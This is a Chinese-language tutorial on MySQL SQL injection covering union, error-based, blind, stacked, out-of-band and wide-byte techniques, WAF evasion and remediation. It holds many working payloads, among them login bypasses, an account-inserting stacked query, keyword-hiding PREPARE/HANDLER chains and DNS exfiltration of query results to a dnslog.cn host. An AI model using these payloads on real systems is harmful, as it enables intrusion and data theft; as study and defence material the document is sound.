一、SQL 注入基础

1.1 产生原理

动态交互网站利用用户输入拼接到 SQL 中执行,输入不同导致返回结果不同。用户输入内容没有经过完美处理,直接被带入 SQL 语句中执行,导致 SQL 注入漏洞。

一句话本质:代码与数据没有分离——数据库解析器无法区分哪些字符是开发者写的语法、哪些是用户提交的数据,用户数据中的引号、注释符、关键字改变了语法树的形状,语义被劫持。

SQL 语句拼接示例:

select * from admin where username = '用户提交' and password = '用户提交';

使用万能密码(1' or '1'='1):

select * from admin where username = '用户提交' and password = '1' or '1'='1';

攻击者的单引号提前闭合字符串,or '1'='1' 使条件恒真 → 绕过登录。

1.2 漏洞成立的两个条件

  1. 参数用户可控:从前端传到后端的参数内容是用户可以控制的
  2. 参数带入数据库查询:传入的参数拼接到 SQL 语句,且传入数据库查询

1.3 MySQL 必备知识

information_schema

MySQL 5 之后默认存在 information_schema 库,记录整个实例的元信息,注入时重点三张表:

表内容
schemata所有数据库名(schema_name)
tables所有表名(table_name、table_schema)
columns所有字段名(column_name、table_name)

注释符

注释符说明编码
#单行注释%23
-- 单行注释,注意是两个短线加空格(URL 中常用 --+)--+
/* */多行注释,也可充当空格绕过 WAF%2f%2a

常用函数速查

函数作用
version() / @@version数据库版本
user()当前数据库用户
database()当前数据库名
@@datadir数据文件目录
concat() / group_concat()字符串拼接 / 多行聚合成一行
substring(str,pos,len)字符串截取(盲注核心)
length() / ascii() / ord()长度 / ASCII 码转换
hex()转十六进制(绕过引号、域名编码)
if(cond,a,b)条件判断(盲注核心)
sleep(n)延时 n 秒(时间盲注核心)
load_file()读取文件(OOB、文件读取)

1.4 注入的分类(三个维度)

按提交方式

  • GET 注入:参数在 URL 里,有长度限制,中文需 URL 编码
  • POST 注入:参数在请求 body 中,长度无限制
  • Cookie 注入:参数放在请求头,服务器从请求头获取

按注入点数据类型

-- int 整型:无引号包裹,直接拼接
select * from users where id = 1;
 
-- string 字符型:需闭合引号
select * from user where username='admin';
 
-- like 搜索型:需闭合引号和 % 通配符
select * from news where title like '%标题%';

按结果获取方式(回显能力)

  • 联合查询注入(UNION):页面有回显位,数据直接显示
  • 报错注入:无回显位,但 SQL 错误信息回显在页面
  • 盲注:无回显,靠页面真假差异(布尔)或响应时间(时间)逐位猜解
  • 堆叠注入:; 分隔执行多条语句(取决于驱动是否支持)
  • 带外注入(OOB):无任何页面反馈,数据通过 DNS/HTTP 请求外带

术语

回显 = 页面有数据信息返回;无回显 = 无论输入什么语句,页面都没有数据库内容显示。注入成立与否只取决于拼接,与页面有没有回显无关。


二、注入判断与测试

2.1 手工判断

在可控参数处测试(如 http://192.168.110.1/?id=123),常用判断语句:

id=1 and 1=1        -- 页面正常
id=1 and 1=2        -- 页面异常 → 数字型注入
id=1 or 1=1
id=1' or '1'='1     -- 字符型
id=1" or "1"="1

若 and 1=1 与 and 1=2 页面表现不同,说明输入参与了 SQL 逻辑运算 → 存在注入。

2.2 工具测试

在发现有可控参数的地方使用 sqlmap 进行检查或利用,推荐使用 BurpSuite 的 sqlmap 插件。


三、UNION 联合查询注入

3.1 原理

使用 union select 把攻击者的查询结果与正常查询结果合并回显。前提:两个查询的字段数必须相同,否则报错。

3.2 手工注入完整流程

  1. 判断是否存在注入、是字符型还是数字型
  2. 猜解字段数:order by N(N 递增直到报错)
  3. 确定回显点:union select 1,2,3(看哪几个数字显示在页面上)
  4. 查询数据库信息:@@version、@@datadir、user()、database()
  5. 获取所有数据库:group_concat(schema_name) from information_schema.schemata
  6. 获取表名:group_concat(table_name) from information_schema.tables where table_schema=库名
  7. 获取字段名:group_concat(column_name) from information_schema.columns where table_name='表名'
  8. 获取数据:
?username=1' union select 1,database(),group_concat(字段1,字段2,字段3) from 表名--+

技巧

  • 黑盒下不知道当前库有什么表,全靠 information_schema 查询
  • 用 limit 1,1 限定条数逐条读取(第二条就是 limit 2,1)
  • 遇到单/双引号被转义时,字符串可用 HEX 编码绕过(如 'admin' → 0x61646d696e)

3.3 文件读写

-- 文件读取
union select 1,load_file('C:\\windows\\win.ini')
 
-- 写入 webshell
select ... into outfile ...

需要 FILE 权限且 secure_file_priv 允许,详见 带外注入的利用条件。


四、报错注入

页面无数据回显,但 SQL 错误信息会显示在页面上——让要查的数据出现在报错内容里。

4.1 XML 函数报错(MySQL > 5.1)

updatexml() 和 extractvalue() 执行时,若 XPath 路径格式错误就会报错并回显拼接的内容。0x7e 是 ~,不属于 XPath 语法,用于强制触发错误。

-- updatexml(文档, XPath路径, 新值)
select * from test where id = 1 and (updatexml(1,concat(0x7e,(select user()),0x7e),3));
 
-- extractvalue(文档, XPath路径)
select * from test where id = 1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

报错信息形如:XPATH syntax error: '~root@localhost~'

注意

XML 报错回显最多 32 位,数据过长需用 substring() 分段获取。

4.2 主键冲突报错(floor + rand + group by)

select count(*), concat((select user()), floor(rand(0)*2)) as x
from information_schema.tables group by x;

报错:Duplicate entry 'root@localhost1' for key 'group_key'

核心原理:

  1. group by 执行时 MySQL 在内存建虚拟表,主键即分组字段
  2. rand(0)*2 的伪随机数列固定为 0,1,1,0,1,1...
  3. 查询虚拟表发现键不存在时,MySQL 会再次计算 x 的值再插入
  4. rand() 被计算两次导致键值变化,最终插入重复键 → 主键冲突报错,报错中携带拼接的数据

4.3 类型转换报错

-- GTID_SUBSET(MySQL >= 5.6)
select * from users where id = 1 and GTID_SUBSET(concat(0x7e,(select user()),0x7e), 1);
-- 报错:Malformed GTID set specification '~root@localhost~'.
 
-- NAME_CONST
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
-- 报错:Duplicate column name '5.7.26'

4.4 数学溢出报错(MySQL >= 5.5)

-- exp() 溢出:x 超过 709 超出 Double 范围,配合按位取反 ~ 构造极大值
select exp(~(select * from (select user())a));
-- 报错:DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
 
-- BIGINT 溢出
select !(select * from (select user())x) - ~0;
-- 报错:BIGINT value is out of range in ...

4.5 空间函数报错(MySQL >= 5.0.32)

GeometryCollection()、polygon()、multipoint()、linestring()、ST_LatFromGeoHash() 等函数收到非法几何数据时报错回显:

select * from test where id=1 and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e));
-- 报错:Incorrect geohash value: '~root@localhost~' for function st_latfromgeohash

五、盲注

5.1 布尔盲注

页面不会显示数据库信息,只显示”对/错”两种状态。核心语句:

select if(1=1,1,0)   -- 条件成立返回 1,否则返回 0

通过构造条件,根据页面特征逐位猜解敏感信息:

-- 判断库名长度
1' and if(length(database())=4,1,0)--+
 
-- 逐位猜解库名(substring 第一个参数是字符串,第二个起始位,第三个长度)
1' and if(substring(database(),1,1)='s',1,0)--+
 
-- 猜解表名
1' and if(substring((select table_name from information_schema.tables
  where table_schema=database() limit 0,1),1,1)='u',1,0)--+
 
-- 猜解字段名
1' and if(substring((select column_name from information_schema.columns
  where table_name='users' limit 0,1),1,1)='i',1,0)--+
 
-- 猜解数据(0x3a 是冒号 :)
1' and if(substring((select concat(user,0x3a,password) from users limit 0,1),1,1)='a',1,0)--+

手工逐位猜解效率极低,实战中写 Python 脚本二分猜解或直接用 sqlmap。

5.2 时间盲注

布尔盲注也失效(页面真假无差异)时的最后手段:以响应时间作为信道。核心是 sleep():

-- 判断是否存在时间注入:页面延时 10 秒即存在
' and sleep(10)--+
 
-- 库名长度大于 1 就延时 5 秒
select if(length(database())>1,sleep(5),0)--+
 
-- 注入点中
-1' or if(length(database())>1,sleep(5),0)--+

网络抖动会干扰时间判断,实战中阈值要留余量,且大量请求容易触发封 IP——此时考虑 带外注入。


六、堆叠注入

6.1 原理与限制

用分号 ; 分隔执行多条 SQL 语句。MySQL 中 mysqli_multi_query() 支持多语句执行(普通 mysql_query() 不支持——堆叠注入是否成立取决于驱动和配置)。

select version();select database();

关键限制:堆叠查询只能返回第一条语句的结果,后续语句无回显。

危害极大:可任意执行增删查改,不再局限于 SELECT。

6.2 利用示例

-- 探测堆叠是否可用
id=1' and 1=2;sleep(5)--+
 
-- 插入新账号
id=1';insert into user(id,username,password) values(20,'chen','123456')--+

6.3 堆叠注入的 WAF 绕过

当目标存在堆叠注入,但 WAF 过滤了 select、union 等关键字时的三大利器:

RENAME 绕过

多语句执行时后面的语句无法回显,可用 RENAME 把目标表/列名改成默认查询所访问的表/列名,借正常业务逻辑把数据”带”出来。

预处理绕过(PREPARE)

利用堆叠注入连续执行 SET → PREPARE → EXECUTE,在变量中隐藏关键字:

-- concat 拆分关键字:WAF 只看到 "s" 和 "elect",执行时重组为 select
1'; set @a=concat("s","elect flag from `1919810931114514`");
    prepare stmt from @a; execute stmt; --+
 
-- 十六进制编码(终极杀招):整个 payload 无敏感字母
1'; set @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;
    prepare stmt from @a; execute stmt; --+

注意回显限制依然存在,实战常配合:执行增删改(如 insert 管理员)、结合 sleep() 时间盲注、或结合下面的 HANDLER 读数据。

HANDLER 读取数据

HANDLER 不是标准 SQL 查询,而是直接访问存储引擎接口的机制——SELECT 是填检索卡让管理员帮你找书,HANDLER 是自己拿钥匙进书架一行行翻。

优势:完全不用 SELECT、UNION 等敏感字;不需要知道列名(每次读整行)。

三步曲(打开 → 读取 → 关闭):

HANDLER table_name OPEN [AS alias];                      -- 打开表
HANDLER table_name READ {FIRST | NEXT | PREV | LAST};    -- 读第一行/下一行/上一行/末行
HANDLER table_name CLOSE;                                -- 关闭(注入中可省略)

实战 payload:

-- 带别名读第一行
1'; handler `1919810931114514` open as aaa; handler aaa read first; --+
 
-- 不带别名读第二行
1'; handler `1919810931114514` open; handler `1919810931114514` read next; --+

总结

遇到过滤极其变态的堆叠注入题,只要没过滤 HANDLER,1'; handler 表名 open; handler 表名 read first; 往往能一击致命。


七、带外注入(OOB)

7.1 什么是带外注入

带外注入(Out-of-Band Injection)是盲注的”升级版”:当页面无回显、布尔盲注无真假差异、时间盲注又慢且容易触发封 IP 时,让数据库主动向外发起网络请求(DNS / HTTP),把查询结果编码进请求里带出来,攻击者在自己的服务器日志里读取数据。

打个比方

普通注入是”你问,网页当面回答你”;盲注是”网页不回答,你只能看它点头摇头(布尔)或者数它沉默了几秒(时间)“;带外注入是”网页不回答,但你让它写封信寄到你家(DNS 请求),你在家收信看内容”。

数据传输的信道不再是 HTTP 响应,而是另一条”带外”通道,因此:

  • 每条数据只需一次请求(盲注要逐位猜解,几万次请求,容易被封 IP),速度快
  • 日志在第三方平台读取,目标看到的是正常业务流量,隐蔽性高——变相实现了”代理池”效果

7.2 核心原理(DNS 外带)

关键是 MySQL 的 LOAD_FILE() 函数——读取文件并返回内容字符串。在 Windows 下,给它一个 UNC 网络路径(\\主机名\文件),系统会向该主机名发起 SMB 连接,而发起连接前必然先做一次 DNS 解析。

把查询结果拼接进主机名:

select load_file(concat('\\\\',(select database()),'.je5i3a.dnslog.cn\\abc'));

执行过程:

  1. MySQL 先执行子查询 (select database()),得到结果如 security
  2. 拼出 UNC 路径 \\security.je5i3a.dnslog.cn\abc
  3. 系统解析主机名 security.je5i3a.dnslog.cn,向 DNS 服务器发查询
  4. je5i3a.dnslog.cn 的权威 DNS 服务器就是攻击者的 dnslog 平台,查询记录里完整保存了子域名 security → 数据到手

为什么偏偏是 DNS

企业出站防火墙通常对 HTTP 管控严格,但 53 端口的 DNS 几乎必然放行(否则服务器无法解析域名),DNS 是穿透性最好的带外通道。而且 DNS 查询由操作系统发出,Web 容器和 WAF 都无感知。

注意事项:

  • 域名只能包含合法字符(字母数字 - .),结果含特殊字符时先用 hex() 编码:

    load_file(concat('\\\\',hex((select group_concat(table_name)
      from information_schema.tables where table_schema=database())),'.je5i3a.dnslog.cn\\abc'))
  • 域名每段(label)≤ 63 字符,数据太长要 substring() 分段外带

  • payload 中 UNC 路径的反斜杠在 SQL 里要转义,实际写成 \\\\(代表两个 \)

7.3 利用条件(缺一不可)

  • 存在注入点
  • Windows 服务器(UNC 路径是 Windows 特性;Linux 下 // 开头只当普通文件路径,不触发网络请求)
  • 数据库账号有 FILE 权限(一般为 root)
  • secure_file_priv = ''(为空才可读写任意路径;MySQL 5.7.6+ 默认为 NULL,直接禁用文件读写,此条件常常卡死利用)
  • 数据库服务器能出网做 DNS 解析

7.4 常用 dnslog 平台

  • dnslog.cn(免费,即开即用)
  • ceye.io(支持 HTTP/DNS 双通道记录)
  • Burp Collaborator(Burp Pro 自带,UDP/TCP/SMTP 全协议)
  • 自建权威 DNS 服务器 + Web 日志(最隐蔽,红队场景)

sqlmap 自动化:sqlmap -u "url" --dns-domain=xxx.ceye.io

7.5 防御

  • secure_file_priv 设置为具体目录或 NULL,数据库账号去掉 FILE 权限(最小权限)
  • 出口防火墙限制数据库服务器外联:DNS 只允许走内网指定解析器,禁止直连外部 53
  • 根本仍是参数化查询——注入点不存在,一切外带无从谈起

八、其他注入类型

8.1 二次注入

二次注入的可怕之处在于,它利用了程序员的”盲目自信”——程序员通常会防御用户的直接输入,但往往会百分之百信任从自己数据库里读出来的数据。

严格分为两步:

  • 第一步:恶意数据”合法”入库(埋炸弹) 注册用户名 admin'#,后端转义生效,单引号变成 \',注册安全完成。数据库里确确实实存入了 admin'#。此阶段没有任何注入,恶意代码只是被当作普通字符串”休眠”在数据库里。

  • 第二步:数据被读取并带入新查询(引爆炸弹) 之后用该账号修改密码,后端从数据库读出用户名拼进 UPDATE 语句。程序员大意了:“这是从我自家数据库里拿出来的数据,肯定是干净的,不用转义!“——带单引号的 admin'# 直接进入 SQL,注释掉后面的条件,改掉的可能是别人的密码。

防御原则:数据只要出库再用,一律按不可信数据处理,所有使用点都参数化。

8.2 宽字节注入

什么是宽字节注入

宽字节注入不是一种独立的注入类型,而是对”转义防御”的一种绕过手段:当数据库连接使用 GBK 等宽字节字符集时,转义函数添加的反斜杠 \(0x5C)会被前面的字节”吃掉”,合并成一个汉字,导致本该被转义的单引号重新逃逸——转义形同虚设。

核心一句话

单字节转义符遇到了多字节字符集:\ 不再是 \,而是某个汉字的”后半截”。

成因(代码层分析)

典型漏洞代码(PHP + MySQL,连接编码 GBK):

mysql_query("SET NAMES 'gbk'");        // 告诉 MySQL:客户端发来的数据是 GBK 编码
$id = addslashes($_GET['id']);          // 防御:把 ' 转义为 \'
$sql = "SELECT * FROM user WHERE id = '$id'";
mysql_query($sql);

攻击者提交:?id=1%df'

逐字节看发生了什么:

阶段字节流说明
原始输入31 df 271 + 0xdf + '(0x27)
addslashes 转义后31 df 5c 27在 ' 前插入 \(0x5c)
MySQL 按 GBK 解析31 [df 5c] 270xdf 落在 GBK 首字节范围(0x81–0xFE),0x5c 落在次字节范围(0x40–0xFE),两字节被合成一个汉字”運”
最终 SQLid = '1運'反斜杠消失,单引号成功逃逸,注入成立

根本矛盾:addslashes() 按单字节视角工作,它不知道数据库会把 0x5c 和前一个字节合并解读。转义函数理解的字符集 ≠ 数据库理解的字符集,这就是所有宽字节注入的根因。

利用条件

  • 数据库连接字符集为宽字节编码(GBK / GB2312 / GB18030 / Big5 等)
  • 使用了基于”加反斜杠”的转义:addslashes()、mysql_real_escape_string()、magic_quotes_gpc(PHP < 5.4)
  • 未使用参数化查询

检测方法:注入点提交 %df',若页面报 SQL 语法错误,说明反斜杠被吃掉、引号逃逸成功。

Payload

?id=1%df' and 1=1--+
?id=1%df' and 1=2--+
?id=1%df' union select 1,database(),3--+

闭合之后的利用与普通字符型注入完全一致,宽字节只是”打开引号”的钥匙。

进阶:%bf 绕过 mysql_real_escape_string

mysql_real_escape_string() 是”感知字符集”的转义函数——前提是开发者用 mysql_set_charset('gbk') 正确告知了客户端编码。此时 %df%27 会被识别并处理,绕过失效。

但经典案例(Chris Shiflett 提出)表明:如果代码里用的是 SET NAMES 'gbk' 而不是 mysql_set_charset(),则 MySQL 服务器按 GBK 解析数据,而 mysql_real_escape_string() 仍按**默认的单字节编码(latin1)**转义——两侧字符集认知再次不一致:

  • 提交 %bf%27
  • 转义函数按 latin1 处理:%bf%5c%27(加了反斜杠)
  • MySQL 按 GBK 解析:%bf%5c 是合法 GBK 汉字”縗”,反斜杠被吃掉,引号逃逸

结论:SET NAMES 只改变服务器端的字符集认知,不改变转义函数使用的客户端编码——字符集设置必须驱动层、连接层一致。

防御

  1. 根本修复:参数化查询(预编译)——数据与语法在协议层分离,字符集问题与注入同时消失
  2. 放弃 GBK,全站统一 UTF-8(utf8mb4)——UTF-8 的后续字节范围(0x80–0xBF)不含 0x5C,反斜杠不可能被”吃掉”,宽字节注入在 UTF-8 下天然不存在
  3. 必须设置字符集时,用驱动层 API(mysql_set_charset()、PDO 的 DSN charset= 参数),禁止用 SET NAMES 事后声明
  4. PDO 用户关闭模拟预处理:PDO::ATTR_EMULATE_PREPARES => false,否则参数在客户端拼接,仍可能受字符集问题影响

九、WAF 绕过

9.1 通用绕过

空格绕过

当 WAF 过滤了普通空格或 %20:

  • 注释符替换:select/**/user()/**/from/**/dual;
  • 括号包裹:select(user())from(dual);
  • URL 编码空白符:%09(Tab)、%0A(换行)、%0C(换页)、%0D(回车)、%0B(垂直制表符)、%A0(不间断空格)

关键字绕过(select / union / and / or)

  • 大小写混写:sElEcT、uNiOn(针对不区分大小写的 WAF)
  • 双写绕过:selSELECTect → 中间 SELECT 被删一次后重组为 select(针对只替换一次的 WAF)
  • 内联注释(MySQL 专属):/*!50000select*/ * from users;(版本号 ≥ 5.00.00 时执行,部分 WAF 视为注释放行)
  • 利用 \N:select * from users where id=8e0\Nunion select 1,2,3;

符号与逻辑运算符绕过

  • 过滤 and / or → && / ||,或异或注入 xor、^
  • 过滤 = → LIKE / RLIKE / REGEXP、<> / !=、IN()
  • 过滤 < >(盲注场景)→ GREATEST() / LEAST()、BETWEEN AND、strcmp()

字符串与引号绕过

  • 十六进制编码:username='admin' → username=0x61646d696e(MySQL 自动解析)
  • CHAR() 函数:select char(97,100,109,105,110)

等价函数替换

被封杀平替
substr()substring()、mid()、left()、right()、lpad()、rpad()
ascii()ord()
concat()concat_ws()、group_concat()
sleep()benchmark(10000000,md5(1))、笛卡尔积重负荷查询

HTTP 层面绕过

  • 请求方式绕过:很多 WAF 默认只检测 GET,改 POST,或在 Cookie、User-Agent 等头中找注入点
  • HPP 参数污染:?id=1/**/&id=union select 1,2,3(详见 9.3)
  • 分块传输编码:Transfer-Encoding: chunked 切碎 payload(详见 9.3)

9.2 无列名注入

当 information_schema.columns 被过滤,知道表名(如 users)却不知道字段名时的三种进阶姿势:

JOIN + USING 报错爆列名

利用 MySQL 表连接时存在同名字段且未指定别名会报 Duplicate column name 的特性,让数据库自己吐出列名:

-- 爆第一列
select * from (select * from users as a join users as b) as c;
-- 报错:Duplicate column name 'id'
 
-- 爆第二列:USING() 排除已知列
select * from (select * from users as a join users as b using(id)) as c;
-- 报错:Duplicate column name 'username'
 
-- 后续列:using(id,username) 依次追加

UNION 虚拟表 + 别名读数据

联合数字常量构造”虚拟表”,列名由自己定义,绕过对真实列名的依赖:

-- 构造虚拟表:users 的数据附着在列名为 1,2,3 的虚拟表下方
select 1,2,3 union select * from users;
 
-- 提取数据:数字列名需用反引号包裹
select `2`,`3` from (select 1,2,3 union select * from users) as a limit 1,1;
 
-- 反引号也被过滤时,内部 SELECT 直接起英文别名
select b,c from (select 1,2 as b, 3 as c union select * from users) as a limit 1,1;

字符比较盲注

既不知道列名、又无报错无回显时,利用 MySQL 字符串按 ASCII 逐位比较大小的特性('b'>'a' 为真),将虚拟表与字符串比较结合做盲注:

select 'f' > (select `1` from (select 1 union select * from flag) as a limit 1,1);

实战配合 Python 脚本二分法逐位猜解。

9.3 进阶绕过

缓冲区溢出(WAF 崩溃绕过)

  • 原理:多数 WAF 基于 C/C++ 开发,超长数据可能导致其处理时缓冲区溢出。WAF 崩溃或超时后为保证业务可用性往往会 Bypass 放行请求,恶意 payload 直达数据库

  • 方式:用大量无用字符(约 1000 个 A)填充 payload:

    ?page_id=-15+and+(select1)=(Select 0xAA[..约1000个"A"..])+/*!UNiOn*/+/*!SeLEct*/+1,2,3,4...
    
  • 发送大量数据后产生报错,通常证明该节点存在溢出可能

分块传输编码(Chunked Transfer Encoding)

  • 原理:HTTP/1.1 分块传输下数据被切成一个个 Chunk,服务器收到一块处理一块。很多 WAF 无法完整重组分块数据流,看到的是碎片,匹配不出完整恶意特征;而 Web 容器(Tomcat/Apache)能正确组装交给数据库
  • 操作:请求头加 Transfer-Encoding: chunked,payload 分块发送
  • 工具:BurpSuite 插件 Chunked coding converter

HPP(HTTP 参数污染)

  • 原理:提交多个同名参数时,不同中间件解析策略不同(Tomcat 取第一个、PHP/Apache 取最后一个、ASP.NET 逗号拼接)。利用 WAF 与后端解析差异,把完整 SQL 拆到多个同名参数中

    -- 原语句:id=1 union select 1,2,3 from users where id=1-
    id=1 union select 1&id=2,3 from users where id=1-
    

十、修复建议

10.1 根本方案:参数化查询(预编译)

所有查询语句都使用数据库提供的参数化查询接口,参数以绑定方式传入而不是将用户变量嵌入 SQL 语句——数据与语法在协议层分离,这是防御 SQL 注入的唯一根治手段。

注意三个常见例外,预编译管不到:

  • 动态表名/列名/ORDER BY 字段:标识符无法绑定,只能白名单枚举映射
  • ORM 的拼接后门:MyBatis ${}、whereRaw()、DB::raw() 等等价于字符串拼接
  • PDO 模拟预处理:ATTR_EMULATE_PREPARES=true 时参数仍在客户端拼接,应设为 false

10.2 纵深防御

  • 输入校验:数字型数据强制是数字(intval()),数据库字段用 int 型;枚举值走白名单;数据长度严格限制
  • 最小权限:应用数据库账号仅授予工作所需权限,去除 FILE、SUPER 等高危权限,最大限度减少注入危害
  • 统一编码:网站每个数据层的编码统一为 UTF-8(utf8mb4),上下层编码不一致会导致过滤模型被绕过(宽字节注入)
  • 隐藏错误信息:避免页面显示数据库错误(类型错误、字段不匹配等),防止报错注入
  • 转义仅作兜底:addslashes() 等转义存在宽字节缺陷,不能作为主力防御
  • WAF 仅作应急缓解:可拦扫描器和通用 payload,但可被绕过,不能替代代码修复